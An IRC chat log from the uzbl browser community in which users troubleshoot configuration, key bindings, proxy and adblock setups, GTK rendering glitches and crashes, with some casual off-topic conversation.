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21:44 < Cheeseum> oh that's silly, searching on bing shopping with an uzbl user agent makes it error out
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22:01 < axionix> is it possible to disable specific plugins instead of just disable_plugins = 1?
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22:04 < N30N_> axionix: no, but you could remove the content that reqires the plugin.
22:04 < axionix> cheeseum: it's probably related to the bug I filed this morning. apparently webkit has issues with some ?var=val
22:04 < axionix> ...sites
22:06 < axionix> oh thats too much overhead for what i'd need i would think. i'll just disable plugins
22:08 < Cheeseum> it works fine when I swap user agents to firefox
22:10 < axionix> haha funny
22:11 < axionix> they prob are stupid enough to whitelist their own competing site
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00:49 < Dr-Horri1le> is there a way to avoid the proxy with some sites
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01:26 < axionix> i might be wrong but you could run a script in load_start_handler which checks the url and sends proxy_url to a fifo or socket
01:29 < scj> i don't think that works, because load_start_handler is evoked at the same time as stuff starts being downloaded
01:30 < scj> there would need to be an event before the request is sent
01:37 < Dr-Horri1le> how can i make a custom key behave like the open command
01:37 < Dr-Horri1le> I now have this in my config
01:37 < Dr-Horri1le>  74 bind    a _       = spawn $XDG_DATA_HOME/uzbl/scripts/keywordBm.py add %s
01:40 < scj> behave like the open command?
01:41 < Dr-Horri1le> i want it to be, a keyword<enter>, and then it has to execute the command
01:43 < scj> well, that should work
01:44 < Dr-Horri1le> If i press enter nothing happens :*
01:44 < Dr-Horri1le> :(
01:47 < scj> Dr-Horri1le: do you have the XDG environment vars set?
01:47 < Dr-Horri1le> yes
01:48 < scj> what does it say if you run uzbl --verbose?
01:50 < Dr-Horri1le> totally nothing extra
01:52 < scj> Dr-Horri1le: does it say 'Binding a _ : ...'?
01:54 < Dr-Horri1le> i used tabs instead of spaces, now it works
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04:13 < mason-l> Morning guys
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06:28 < xerebz> i like the example configs, how do i make them permanent instead of having to stating XDG_CONFIG_HOME and XDG_DATA_HOME everytime?
06:40 < L29Ah> edit your bashrc or profile
06:41 < L29Ah> or, better, ln -s the files to your real XDG_CONFIG_HOME and XDG_DATA_HOME
06:41 < xerebz> where are those homes?
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06:42 < L29Ah> type echo $XDG_CONFIG_HOME :)
06:42 < xerebz> smart
06:42 < L29Ah> it's distribution-dependent
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06:59 < uranther> I add them to my bashrc but I don't launch uzbl from a menu...
06:59 < uranther> L29Ah, I suggested we use the GLib functions for XDG in uzbl
06:59 < uranther> would be better, for portability :>
07:06 < xerebz> and..
07:06 < xerebz> you add them to your bashrc by creating an alias?
07:09 < xerebz> because i tried ln -s and it says too many levels of symbolic link
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10:08 < xerebz> i'm trying to download a file in a secure page
10:09 < xerebz> and its looking like its failing.. download.php?etc..
10:09 < xerebz> anyone know what i'm needing?
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10:30 < Dr-Horrible> I can't seem to edit the wiki, it stays a "draft" when I save it
10:30 < L29Ah> i had the same trouble
10:30 < Dr-Horrible> Did you fix it?
10:30 < ruskie> something to do with cookies iirc
10:30 < L29Ah> but suddenly it fixed :)
10:31 < L29Ah> yep, something with python cookie handler
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11:23 < xerebz> so what are the popular options for download management
11:29 < rob|> xerebz: the wiki has some ideas/scripts, did you already chech there?
11:29 < rob|> *check
11:29 < rob|> morning community, btw :)
11:35 < Dr-Horrible> Is anyone else having trouble with google calendar crashing uzbl?
11:38 < rob|> Dr-Horrible: no using it, though iirc you're not the first to report this
11:38 < rob|> *not
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11:47 < rob|> a million burning books like torches in our hands, a fabric of ideals to decorate our homes
11:47 < rob|> oh, err
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12:55 < Dr-Horrible> Can I bind non ascii keys, like home and end, pageUp/Down
12:55 < Dr-Horrible> ?
12:58 < holizz> Dr-Horrible, Not yet, no.
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14:53 < Dr-Horrible> I <3 uzbl, it does everything i want, maybe integration with pwsafe would be nice
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15:09 < ruskie> Dr-Horrible, so write it up... lookup at the formfiller scripts iirc
15:10 < Dr-Horrible> I think I will, but I have to make hamburgers at 4, and i can't get it done in 45 minutes:P
15:14 < scj> are there any good cli pw managers?
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15:43 < ruskie> scj, for me the best pw manager is still a gpg encrypted file :)
15:45 < scj> I'm using keepassx, mostly because there's a windows version
15:47 < bct_> what kind of attack is a password manager meant to prevent?
15:48 < bct_> i just use a few different passwords that i'v memorized, based on how much i care if an account gets compromised
15:48 < arik181> bct_: the alzheimer's attack.
15:48 < holizz> bct_, It's to prevent you using the same password on different Web sites.
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15:53 < L29Ah> hm
15:54 < L29Ah> we can make a password generator, that takes the site url, hashing it with master-password and entering into the inputboxes
15:56 < L29Ah> but it'll be a bit sad, if we want to use the web outside our uzbl :(
15:57 < scj> L29Ah: there is a js script that does that. can't remember the name of it, but it's cross browser
15:57 < L29Ah> wow
15:57 < L29Ah> i should google more
15:59 < scj> L29Ah: supergenpass.com
16:00 < L29Ah> thx
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16:11 < ruskie> hmm interesting
16:13 < ruskie> infact that would be a good idea for every password
16:15 < ruskie> with auto storage to a gpg container of course
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17:33 < ruskie> hmm great wikicrapia seems to like sending gziped content as well
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17:55 < hatori> hmm, heya. my uzbl won't connect through privoxy and i have no idea why
17:56 < holizz> hatori, What's the line in uzbl's config?
17:56 < ruskie> hatori, same prob here
17:57 < ruskie> I'm guessing it's because it's trying to resole the DNS instead of sending it through the proxy(I'm assuming tor use here)
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18:03 < hatori> set proxy_url = http://localhost:8118
18:03 < hatori> it used to work "sometimes" before. though it would say connection unexpectedly closed while its working fine with  firefox
18:06 < holizz> hatori, That's what I've got, except I have the trailing "/". Knowing uzbl, the / might be significant.
18:12 < hatori> no says cannot connect to proxy
18:14 < holizz> Hmm. Let's see... I take it localhost resolves to 127.0.0.1?
18:15 < hatori> yus
18:15 < hatori> using 127.0.0.1 works
18:15 < hatori> but pictures and css are still brken
18:17 < holizz> Interesting.
18:18  * ruskie is still missing a proxy_do_not_resolve_urls option in uzbl
18:24 < scj> would be better to just have a pre_start_load_handler
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21:28 < ben_m> Hey :) Can I bind something so space and if yes, how?
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21:28 < scj> ben_m: no, not yet
21:29  * ruskie wonders when that will switch to RSN
21:31 < ben_m> aww :(
21:31 < Masca> Can you confirm google calendar not working with uzbl?
21:33 < holizz> Masca, I can confirm that it's trying to give me the mobile version.
21:33 < N30N> ben_m: you can do it via js
21:36 < N30N> ben_m: like so… http://pastebin.com/d362592e4
21:37 < Masca> holizz: so, that funny think I see is the mobile version? =/
21:38 < ben_m> N30N: thanks, I'll try that :)
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21:40 < holizz> Masca, Quite possibly.
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21:42 < Masca> Do you think it's because of webkit? I haven't tested with different webkit-based browsers.
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21:43 < scj> google probably does some browser detection thing and decides that it's not IE nor ff, therefor it must be am mobile browser
21:44 < Masca> That's a shame.
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00:28 < arik181> there's an example on the wiki for how to identify as firefox
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00:29 < arik181> query: how does one go about isolating the url that is "under" a selected link from a search?
00:38 < arik181> nm. just found the follow_Numbers.js script
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00:46 < Hunner> hello, how could I do more than one action on a set line? like "set load_commit_handler = set foo ; script bar.sh" ?
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00:53 < axionix> hunner: chain
00:53 < Hunner> thanks
00:53 < axionix> hunner: set load_finish_handler = chain 'set status_message = foo' 'spawn script.sh
00:54 < axionix> oops
00:54 < axionix> hunner: set load_finish_handler = chain 'set status_message = foo' 'spawn script.sh'
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02:12 < jrick> uzbl is crashing on me whenever I use fl or fL to type a number and go to a page. backtrace: http://pastebin.com/m46a5e817
02:12 < scj> jrick: x86_64?
02:12 < jrick> yeah
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02:13 < scj> known but caused by compiling webkit with gcc4.4 on x86_64. use gcc4.3 instead
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02:13 < scj> bug*
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02:15 < jrick> hmm, I don't think I built webkit with gcc4.4
02:15 < jrick> [20:14][joshua@FGD135] % gmake --version
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02:15 < jrick> GNU Make 3.81
02:15 < jrick> I'm on freebsd
02:16 < jrick> [20:14][joshua@FGD135] % gcc --version
02:16 < jrick> gcc (GCC) 4.2.1 20070719  [FreeBSD]
02:18 < scj> oh. well, it seems like most of the js related segfaults are x86_64 related
02:18 < Dr-Horrible> Yeah, it sucks, no google calendar with uzbl:(
02:21 < jrick> so it's a problem with webkit, and not uzbl then?
02:24 < scj> jrick: yes
02:24 < jrick> all right
02:29 < jrick> I just can't believe that this the first time I've noticed this, since I've been running uzbl on here for several weeks now
02:29 < jrick> although, I was using an older version of uzbl then as well
02:35 < jrick> scj: the previous master branch works correctly
02:35 < jrick> in fact, the previoius uzbl binary with my current config works as well
02:36 < jrick> s/oiu/ou/
02:36 < scj> jrick: that is odd
02:36 < scj> guess I am incorrect and it is uzbl related after all
02:38 < jrick> I did have to get some help here to get uzbl to compile on this freebsd version though, want to see the patches?
02:40 < Hunner> hmm. calendar.google.com doesn't like my user agent, and if I set the useragent to match firefox then uzbl segfaults :(
02:40 < Hunner> oh...
02:40 < Dr-Horrible> Hunner: google calendar doesn't like uzbl
02:40  * Hunner reads up :P
02:40 < Dr-Horrible> :(
02:40 < Dr-Horrible> x86_64?
02:40 < Hunner> yep
02:41 < Hunner> Funny that we both came to talk about it at the same time
02:41 < Dr-Horrible> I didnt came to talk about it but it does suck
02:41 < Dr-Horrible> It even crashes gmail if you enable the calendar gadget
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02:42  * Hunner already uses the html gmail interface because it worked better with vimperator's hinting
02:43 < jrick> scj: http://pastebin.com/m7ae6c676 here's uzbl.c
02:44 < jrick> http://pastebin.com/m205592b0
02:44 < scj> jrick: you should talk to rob|
02:45 < jrick> rob|: any help?
03:07 < jrick> I think I'm going to switch back to the previous version in the mean time
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05:35 < Hunner> hrm. looks like the xclip code needs an overhaul or something
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05:50 < Hunner> what's the difference between the experimental branch and the normal branch?
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08:39 < Cheeseum> is there a way to add right aligned text in the uzbl status bar
08:50 < holizz> Cheeseum, Nope. It's just a normal GtkLabel.
09:01 < rob|> morning.
09:02 < holizz> Hi.
09:03 < mason-l> It would be easily accomplishable though. Put a special character in the status_format that is replaced by a number of spaces that make it look like the text that follows is right-aligned.
09:03 < rob|> or use 3 labels that are left/center/right justified
09:03 < mason-l> And the number of spaces = width of window / (pixel width of monospaced font * num of chars in status bar)
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09:05 < rob|> set status_format_right = fooo bar  etc.
09:09 < mason-l> ... or that.
09:09 < mason-l> But if both are quite large how do they compete for space?
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11:30 < holizz> Dr-Horri1le, Regarding your bug report, can you not disable privoxy for certain sites via privoxy's config?
11:33 < Dr-Horri1le> No, see: http://www.privoxy.org/faq/misc.html#TURNOFF2
11:33 < Dr-Horri1le> That's how I came up with the FR
11:35 < holizz> Pfft. They should provide you with a whitelist. How lazy.
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21:23 < bct> N30N, i ran into a little problem with your linkfollow script
21:24 < bct> if the page has applied any offsets to the <html> element (the root node), then elementPosition() doesn't find them, and all the hints are offset weirdly.
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01:49 < N30N> bct: I've updated my hints script a bit since I give you a copy. if you give me a url with the problem I'll check it out (and give you a a updated copy if you like).
01:51 < N30N> I never got around to finishing it as WebKit's security restrictions stopped me being able to focus frames etc :(
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04:12 < Gentooer> hi, is it possible to change the default font?
04:13 < scj> Gentooer: default_font_family?
04:13 < Gentooer> ah missed that, thanks
04:15 < bct> N30N, where's the new version?
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04:32 < Gentooer> I tried setting default_font_family="DejaVu Sans" but it seems to be ignoring it
04:32 < Gentooer> I changed all the font settings, but they're all ignored. Even giving them incorrect values doesn't produce an error.
04:33 < Gentooer> The only font I was able to change was that of the status bar.
04:50 < Gentooer> ok, I figured it out.  The font name can't be in quotes.  If it is, it will silently fall back to whatever the default default font is.  Is this a bug?
04:51 < Gentooer> In the README it shows font names in quotes..
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12:31 < mason-l> Hey guys!
12:31 < DuClare> Hi guy!
12:31 < DuClare> That's funny
12:31 < DuClare> I just greeted a guy whose nick is Guy-, on another network..
12:31 < mason-l> How inconsiderate of that Guy.
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13:47 < lysgaard> Hi, how's the python cookie handler going?
13:55 < holizz> lysgaard, It works fine. Use the daemon.
13:55 < lysgaard> I've been on a vacation for some weks. Where do i find it? The wiki?
13:56 < lysgaard> Found it ;)
13:57 < N30N_> bct N30N, where's the new version? <-- here ya go http://omploader.org/vMjV1NQ/hints.tar.gz
13:58 < lysgaard> holizz: Any config standard changes lately?
13:59 < holizz> lysgaard, Not since the change in status_message_format
14:00 < lysgaard> holizz: Nice, then i'm up to date =)
14:03 < N30N_> @dev's any chance of disabling WebKit's XSS protection while the Uzbl js object is avalible?
14:13 < N30N_> bct: I forgot, I removed as much of the styling as possable from the script. Here's the styling I use... http://pastebin.com/m6f876076
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15:13 < scj> N30N_: so what is the difference between your hint script and linkfollow.js?
15:40 < N30N_> scj: I was going for extensibility. So it could be used in other scripts
15:42 < scj> N30N_: what other scripts would be interested in hinted linkfollowing?
15:44 < N30N_> scj: hmm... ":download ^(!:foo)*.mp3$"
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15:45 < N30N_> where matches have hints so you can make sure you down d/l some crap
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15:45 < N30N_> also wanted to add most of the ones vimperator has
15:47 < N30N_> s/down/dont/
15:49 < lysgaard> Is there anyway to get the adblocking performance of adblock on firefox on uzbl. I'll gladly hack around to get a good solution
15:50 < N30N_> grr that regex os wrong (if only I had hints when I was typing it lol)
15:52 < N30N_> lysgaard: you could block ads with the /etc/hosts file
15:55 < lysgaard> N30N_: Well, then my /etc/hosts would contain a _lot_ of things, wouldn't it? Wouldn't that make the lookup to see if thing's are blocked take a long time?
15:55 < scj> lysgaard: apparently some people use the adblock list with polipo
15:56 < scj> and yeah, using /etc/hosts for adblocking is a pretty poor hack at best
15:58 < N30N_> I guess (don't bother blocking ads myself)
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16:32 < lysgaard> scj: How do i get the adblock lists to work with polipo then. Anyone know where to look?
16:33 < scj> lysgaard: I'm gonna look through the irc logs, since it's been discussed. but this is the kind of stuff that should be on the wiki
16:34 < lysgaard> scj: Definitly! If you find it. I could make a guide on the wiki. Afterall, the internet is where you can get the best, but also the worst. We need a filter to cut the crap :)
16:35 < scj> lysgaard: < Deepspawn> https://tor-svn.freehaven.net/svn/incognito/trunk/adblockplusfilter2polipo.sh This script seems to be working, need to replace ? with \? after running it but that seems to be all
16:37 < lysgaard> scj: I can't find no '?'. What do you mean?
16:37 < scj> lysgaard: no idea, I don't mean anything. I just copypasta'd deepspawn
16:43 < lysgaard> scj: Ah
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17:07 < lysgaard> Why do i get no response when I right click and chose "Download Linked File"
17:08 < lysgaard> Ah, everything get's in the home folder :S
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17:45 < axedcode> hmm uzbl doesnt like rounded widgets. rounded button corners are not transparent, but black :/
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17:50 < lysgaard> @seen Deepspawn
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17:51 < lysgaard> !seen Deepspawn
17:51 < uzblbot> lysgaard: Deepspawn was last seen in #uzbl 1 week, 4 days, 1 hour, 13 minutes, and 2 seconds ago: <Deepspawn> Umm maybe I have another font problem, now to hunt it
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17:53 < holizz> lysgaard, That person is frequently in #laconica, if you're looking for them.
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17:54 < lysgaard> holizz: Thanks
17:56 < lysgaard> Hm.. He wasn't there
17:56 < lysgaard> Noone else tried to convert the adblock filters to polipo or privoxy filters?
17:57 < holizz> http://www.brainbird.co.cc/deepspawn
17:58 < Deepspawn> hello, I succeded converting few rules to polipo
17:59 < scj> speaking of the devil
18:00 < scj> Deepspawn: can you put a howto on the wiki?
18:00 < scj> on how to use polipo as an adblocker
18:01 < Deepspawn> Well yes, I don't recall it very well, it involves using a script I found around and then fixing the output
18:02 < scj> < Deepspawn> https://tor-svn.freehaven.net/svn/incognito/trunk/adblockplusfilter2polipo.sh This script seems to be working, need to replace ? with \? after running it but that seems to be all
18:04 < lysgaard> Deepspawn: What did you mean with the ? part?
18:06 < lysgaard> Deepspawn: In the file, like all lines containing ".*?.*" should be ".*\?.*" ?
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18:17 < lysgaard> Deepspawn: I think there's something wrong withe the script. Polipo can't handle blocking of elements. Like <div="ads"> but adblock can. But the lines containing elemnts still presist in the converted file
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18:37 < Deepspawn> removed them
18:37 < Deepspawn> by hand
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18:57 < Deepspawn> lysgaard, and the ? for \? yes also the . there should be \.
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19:08 < lysgaard> Deepspawn: Hm.. Tried it. Kinda worked, but there's gotta be something wrong, or the proxy doesn't understand all the regexps because only a handfull ads are gone
19:12 < Deepspawn> Check \|
19:14 < Deepspawn> ad that's what I did, certainly it doens't remove as much ads as adblock does.
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21:35 < axedcode> is it known that gtk widgets arent drawn correctly in uzbl?
21:40 < scj> axedcode: url?
21:41 < axedcode> ?
21:41 < axedcode> any url with a gtk button
21:42 < axedcode> if you have a gtk theme with rounded corners
21:42 < axedcode> the corners are black instead of transparent
21:43 < scj> i haven't noticed that
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21:44 < axedcode> scj: try clearlooks or a similar theme
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21:46 < axedcode> just about all gtk widgets are rounded with clearlooks. just look at the google search button
21:47 < axedcode> i'll file a bug report, along with another bug i just found
21:47 < scj> axedcode: oh, you are right. I was using milk 2.0 and it doesn't look weird
21:48 < axedcode> gif animations are also SUPER slow with long pauses of black between each frame. this however, is webkit's fault, as it happens with midori too
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22:09 < bittin> Hello anyone thats good in doing uzbl configs?
22:09 < holizz> bittin, What's the problem?
22:09 < bittin> or know how i do stuff myself
22:09 < bittin> i cant get uzbl_tabbed to work
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22:10 < bittin> and other plugins
22:11 < holizz> What's not working, specifically?
22:12 < bittin> i don't know how to use plugins
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22:12 < bittin> so it me thats is the problem
22:13 < bittin> aren't there any guide or something
22:13 < bittin> a newbie guide to uzbl
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22:13 < scj> there aren't any "plugins"
22:14 < bittin> scripts then
22:14 < bittin> i mean offcourse
22:15 < bittin> how do i add them?
22:16 < scj> bittin: have you looked at http://www.uzbl.org/readme.php ?
22:17 < bittin> scj: no thanks =)
22:18 < scj> bittin: there is no tutorial yet
22:19 < bittin> ah ok
22:20 < scj> bittin: you could write an outline on what you think the tutorial should include, like what concepts should be explained and so on
22:20 < bittin> how to install scripts
22:20 < bittin> i dont understand where they should be and where i should write the config changes
22:21 < scj> bittin: have you looked at the default config?
22:22 < bittin> yes
22:22 < bittin> i even changed it to how i think it should be but iam failing
22:24 < bittin> http://data.fuskbugg.se/skalman01/-config
22:26 < bittin> do you spot any problem?
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22:28 < scj> bittin: not from a causal glance, no
22:28 < bittin> =(
22:28 < scj> what is it you've added?
22:28 < scj> or changed
22:28 < bittin> should the scripts be in the /home/bittin/.config/uzbl/scripts/ dir
22:28 < bittin> pasted in the things for uzbl_tabbed.py
22:30 < bittin> but na dosen't bring up a new tab
22:32 < scj> I don't see 'na' bound to anything
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22:32 < bittin> gn
22:32 < bittin> i mean
22:33 < bittin> i just wonder how i get scripts to wo and where to put them
22:34 < scj> you are invoking 'uzbl_tabbed.py', not 'uzbl', right?
22:36 < bittin> no
22:36 < bittin> how do i do that?
22:37 < bittin> ./uzbl-tabbed.py (?)
22:37 < scj> yes, if it is +x, otherwise you need to do 'python uzbl_tabbed.py'
22:37 < bittin> k
22:38 < bittin> it worked :)
22:39 < scj> yay
22:39 < bittin> chmod +x 755 is that got?
22:39 < bittin> good?
22:39 < DuClare> No
22:39 < bittin> ah only +x
22:39 < bittin> dont know how to open new tabs tough
22:40 < bittin> but now it got tabs
22:40 < bittin> anyways
22:42 < bittin> command "gn" not understood. ignoring.
22:43 < bittin> are there any standard uzbl_tabbed config?
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22:47 < scj> bittin: unlike uzbl, uzbl_tabbed.py has a lot of default settings. just look at the header of the file
22:48 < bittin> ah ok
22:50 < bittin> nice
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01:43 < N30N> if anyone's intrested… pwsafe script: http://bbs.archlinux.org/viewtopic.php?pid=602807#p602807
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12:21 < Dieterbe_> morning all
12:22 < Dieterbe_> i'm back
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12:49 < holizz> Hey, wb.
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13:38 < mason-l> Dieterbe_, Back so soon?
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13:48 < Dieterbe_> yeah. i was only gone for 4 days
14:02 < rob|> morning.
14:04 < rob|> Dieterbe_: hey. met any uzblers on the convention?
14:05 < Dieterbe_> you mean froscon? that's this weekend
14:06 < Dieterbe_> i've been in france at a little festival
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14:06 < rob|> ah, i see
14:06 < rob|> hope you had a good time
14:06 < Dieterbe_> it was great
14:07 < rob|> nice, which bands did play?
14:09 < Dieterbe_> well it's not really a music festival like you think of.  it was more a "bunch of people" (about 300) camping together, hanging out, doing some sports (swimming, petanque, beach volley etc), and the evening activities was a standup comedy evening, one evening had a coverband, a rockband and a dj, and the first evening it was a quite nice humoristic show
14:10 < Dieterbe_> and it was all organized in some guys backyard ;)
14:10 < rob|> ah, sounds cool
14:10 < rob|> was it public?
14:10 < Dieterbe_> yeah. http://www.countingcows.be/festivalplan.php
14:11 < Dieterbe_> although my gang (10 people) were the only ones who did not know one of the organizers or friends/relatives thereof
14:11 < rob|> i see
14:11 < Dieterbe_> all the others pretty much knew most of the others
14:12 < Dieterbe_> my friends made some pictures, i'll share them
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14:14 < rob|> hmm, i had to work this weekend. just been able to go to a lake for a couple of hours with some friends :(
14:15 < Dieterbe_> also, it was the first time i drove the car such a long time (750 km) and found it pretty doable in one day
14:16 < Dieterbe_> and not as exhausting as i thought
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14:16 < rob|> yeah, it's ok if you don't have to do that on a regular basis
14:17 < rob|> i did a 6000km roadtrip with my gf last year. was kinda fun, too ;)
14:18 < Dieterbe_> where did you go?
14:19 < rob|> well, germany -> austria -> italy -> slovenia -> romania -> hungary and back
14:19 < rob|> we pitched up the tent at a new place every other day..
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14:21 < rob|> oh and we managed to fill two 4GB CF cards with photos ;)
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14:22 < Dieterbe_> :)
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14:30 < axedcode> Does anyone actually read bug reports?
14:33 < rob|> what? no! :P
14:33 < scj> occationally
14:33 < axedcode> lol, ok I'll wait a little bit more. uzbl is still unusable to me
14:34 < mason-l> http://www.uzbl.org/bugs/index.php?do=details&task_id=87&project=1&order=id&sort=desc <- Hmmm?
14:34 < mason-l> axedcode, If you've got a problem we can be of assistance
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14:34 < axedcode> 3 to be exact. I submitted reports for all of them. 2 I think are webkit's problem though.
14:35 < mason-l> webkit problems we can't do much about.
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14:36 < axedcode> the 2 webkit problems are: gif animations play at about 1 frame every 2 seconds...and history doesn't work for some pages.
14:37 < mason-l> I have the same slow-gif problems.
14:37 < axedcode> http://www.uzbl.org/bugs/index.php?do=details&task_id=94
14:37 < axedcode> thats the non webkit problem
14:39 < mason-l> opendns.org works for me.
14:39 < mason-l> webkit version 1.1.10
14:39 < axedcode> thats not it
14:39 < axedcode> gtk widgets arent drawn correctly
14:39 < mason-l> libproxy 0.2.3-r2
14:39 < mason-l> Oh whoops, I was reading #90
14:40 < DuClare> axedcode: Why do you think that's not a webkit problem?
14:40 < axedcode> because it doesnt affect midori
14:41 < mason-l> axedcode, To fix the history problem you can write your own history script and chain it onto load_commit_handler
14:41 < mason-l> Very easy, I'll do it for you.
14:41 < axedcode> yep, i know.
14:41 < mason-l> Oh so have you done it?
14:42 < axedcode> ive been waiting for bugs to be fixed before I write anymore 'plugins' for it. I wrote my first the other day to disable flahs on youtube and spawn mplayer :)
14:43 < axedcode> currently, ive been trying to replace my gtk theme so it doesnt look ugly in uzbl
14:43 < axedcode> its hard to find one i like :/
14:44 < mason-l> I haven't noticed any of the theming problems your mentioning, I'm happy using inverted (the gtk clearlooks theme) at the moment.
14:44 < axedcode> would you like a screenshot?
14:45 < mason-l> Out of curiosity yeah.
14:45 < axedcode> one minute
14:45 < mason-l> I'm not sure if I can do anything to help in that department though.
14:45 < holizz> 20,000 lines? Midori is huge.
14:46 < scj> reimplementing firefox isn't easy
14:48 < axedcode> mason-l: uzbl (top) vs midori (bottom): http://omploader.org/vMjYxNw
14:49 < mason-l> Ohhh, you mean those black corner arrows?
14:49 < mason-l> I have those too :D
14:49 < axedcode> yes
14:49 < mason-l> I thought they were cool though :P
14:49 < axedcode> using a squared theme fixes it...but they are all ugly
14:50 < axedcode> nope, its a transparency issue
14:52 < holizz> Uzbl had a page on the Wikipedia. But it was deleted. And you can't see the history of deleted pages. Mediawiki is biased towards deletionists.
14:52 < DuClare> Wikipedia sucks anyway
14:52 < DuClare> axedcode: I believe it's a problem in the Gtk theme engine
14:52 < scj> milk 2.0 has rounded edges and none of the black corners
14:53 < scj> and yeah, wikipedia sucks. I get my wiki needs from conservapedia.org
14:53 < axedcode> hmm let me try another one
14:55 < axedcode> same problem with murrine engine then
14:55 < axedcode> i will download milk to try it
14:59 < holizz> scj, lol. The Barrack Obama page is hilarious, but somehow the NHS page isn't very biased.
15:00 < axedcode> scj: http://omploader.org/vMjYxYw
15:01 < axedcode> tested 3 themes. all do the same. that is milk
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15:09 < scj> axedcode: weird, it works for me
15:09 < axedcode> tried as root to be sure its not a dot file override too :/
15:09 < axedcode> midori displays them all correctly
15:14 < axedcode> i just created a new user account and tried...and you are right. something is happening
15:14 < axedcode> it works for a brand new user\
15:14 < axedcode> what could be the problem?
15:14 < DuClare> Gtk
15:14 < axedcode> but midori works?
15:15 < DuClare> Maybe it does something differently
15:15 < DuClare> I wouldn't know
15:15 < DuClare> All I know is that uzbl doesn't have any code for drawing buttons
15:15 < DuClare> It's all handled by webkit
15:15 < axedcode> ok. i really hate to start my homedir over
15:15 < axedcode> i must debug this
15:18 < axedcode> found the problem...sort of
15:19 < axedcode> #set status_background   = #303030
15:19 < axedcode> had to comment that in the config
15:19 < axedcode> it colorizes the button borders too
15:20 < DuClare> Hmm
15:21 < axedcode> so it must be related to uzbl?
15:21 < DuClare> Not really
15:22 < mason-l> Yes, I think it does
15:22 < axedcode> well, its statusbar for sure
15:22 < DuClare> We're changing the colour of the main window
15:22 < mason-l> I recall that uzbl styles the statusbar in a hackish fashion.
15:22 < DuClare> Yes
15:22 < mason-l> By changing the colour of the window
15:22 < mason-l> Yeah ^
15:22 < DuClare> mason-l: What's the colour of the window if we don't change it?
15:23 < axedcode> white
15:23 < mason-l> What I do in uzbl_tabbed.py is put the label in an Eventbox and change the colour of that (recommended method)
15:23 < DuClare> axedcode: So the buttons look wrong on sites with a black background?
15:23 < mason-l> DuClare, The gtk-theme default.
15:23 < axedcode> let me check
15:23 < DuClare> mason-l: Well, then it's still wrong if the site has a different colour
15:24 < mason-l> quick, whats a site with a black background?
15:25 < axedcode> lol i cant find one
15:25 < mason-l> Maxxox!
15:25 < mason-l> 'Maddox!
15:25 < axedcode> ahahha
15:25 < mason-l> Bah! He doesnt have any input elements on his site.
15:25 < mason-l> Insert one!
15:26 < axedcode> i confirmed it is wrong
15:26 < axedcode> screenshot coming
15:26 < mason-l> Damn, how do you add elements with the webkit inspector?
15:27 < axedcode> http://omploader.org/vMjYxZg
15:27 < DuClare> http://guu.fi/foo.html
15:28 < axedcode> dailyrotation
15:28 < axedcode> seems to be just gtk buttons. radios are ok
15:28 < mason-l> Yep, problems.
15:28 < axedcode> as are check boxes
15:28 < DuClare> Anyway, it's still a GTK issue
15:29 < axedcode> a gtk issue other browsers hacked around
15:29 < mason-l> ^
15:29 < DuClare> axedcode: How about midori & non-white bg?
15:29 < mason-l> It may be a gtk issue but uzbl's responsibility to fix (like the rest).
15:29 < mason-l> imo
15:30 < DuClare> IMO uzbl shouldn't fix problems present in other software
15:30 < mason-l> DuClare, So uzbl shouldn't un-gzip websites also/
15:30 < mason-l> '?
15:30 < axedcode> wait...we're good.
15:31 < axedcode> midori has the same problem on non white bg's
15:31 < mason-l> Wow, ok then.
15:31 < axedcode> looks exactly the same as my above ss
15:31 < DuClare> mason-l: If the sites send stuff gzipped when they shouldn't, then yes, the sites are broken.
15:31 < DuClare> axedcode: As I expected
15:31 < mason-l> DuClare, Even when wikipedia gzips web-pages?
15:32 < DuClare> Take it to wikipedia
15:32 < DuClare> They're probably more cooperative than some random companies
15:34 < DuClare> https://bugzilla.mozilla.org/show_bug.cgi?id=405421
15:35 < axedcode> heh
15:37 < axedcode> heh kazehakase crashes on loading any web page. i dont know any other gtk web browsers
15:37 < axedcode> since gtk is the problem, why not use something more lightweight anyways?
15:37 < axedcode> or is webkit require it?
15:37 < DuClare> Webkit uses it
15:37 < axedcode> ah
15:37 < DuClare> Like I said, uzbl has no code for widgets
15:38 < axedcode> I guess it cant be solved without hacks then
15:38 < axedcode> oh well
15:38 < DuClare> Switch to qtwebkit? :)
15:38 < axedcode> haha yeah right
15:39 < axedcode> Would an admin close that bug?
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16:37 < sman> hey, I can't seem to find any info on how to configure uzbl for use with privoxy (for the purpose of adblocking). Anyone here tried it?
16:37 < sman> if so, how did you do it?
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16:41 < axedcode> set proxy_url = http://127.0.0.1:8118
16:42 < sman> axedcode: ah thanks
16:44 < axedcode> sman: np, but please see the readme, particularly variables and constants
16:45 < axedcode> it has lots of goodies there to set
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16:58 < sman> is there a way to automatically enable insert mode when a text area is active?
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17:00 < sman> i know about 'always_insert_mode', but i like having command mode without a modkey
17:04 < axedcode> you'd have to script that i am pretty sure
17:05 < sman> ok
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17:15 < mason-l> Damn, I just missed sman
17:15 < mason-l> I had an answer for him
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17:16 < mason-l> Just chain "toggle_insert_mode 0" in his load_commit_handler
17:16 < mason-l> to set insert mode "by default"
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17:32 < mason-l> Have you guys ever played with a gtk module called gtkparasite ?
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17:39 < N30N_> mason-l: yep, why do you ask?
17:41 < mason-l> Just evangelising
17:46  * fumbles just found the bookmark > html script :D
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17:54 < Dieterbe_> rob|: do you have facebook? a friend has put some pics online, so i can see them.  now I think that if you become my friend on FB you might be able to see them too (not sure actually)
17:57 < Dieterbe_> hmm 4 people on there with your name :P
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18:08 < rob|> Dieterbe_: nope, no facebook
18:08 < mason-l> facebooks for ..
18:08 < Dieterbe_> ah.. well that's a good thing actually
18:09 < mason-l> So far I've managed to avoid it.
18:09 < rob|> yeah. i refuse to use that service
18:09 < mason-l> Oh and their evil.
18:10 < fumbles> I was wondering if anybody had any neat keywordBookmarks.css pages? to customize my bookmark page
18:11 < mason-l> fumbles, What are you using to generate the bookmark page?
18:12 < fumbles> the script? http://www.uzbl.org/wiki/keyword-bookmarks
18:12 < mason-l> Awesome :)
18:12 < fumbles> you write it?
18:14 < mason-l> nope
18:14 < fumbles> I take it you use it then
18:14 < mason-l> I am now.
18:14 < fumbles> heh
18:15 < fumbles> it's pretty nice
18:15 < mason-l> I'm going to write something similar for the history handler.
18:15 < fumbles> o.O
18:15 < fumbles> my history handler isn't working I believe
18:16 < fumbles> I usually remember where I go to so I haven't messed with it yet
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19:25 < fumbles> ugh hpaste didn't like uzbl
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21:26 < sman> hey i'd like to paste whats in my xclip clipboard into uzbl, and to go to that url
21:26 < sman> I currently have      bind p = sh 'echo "set uri = $(xclip -o)" > $4'
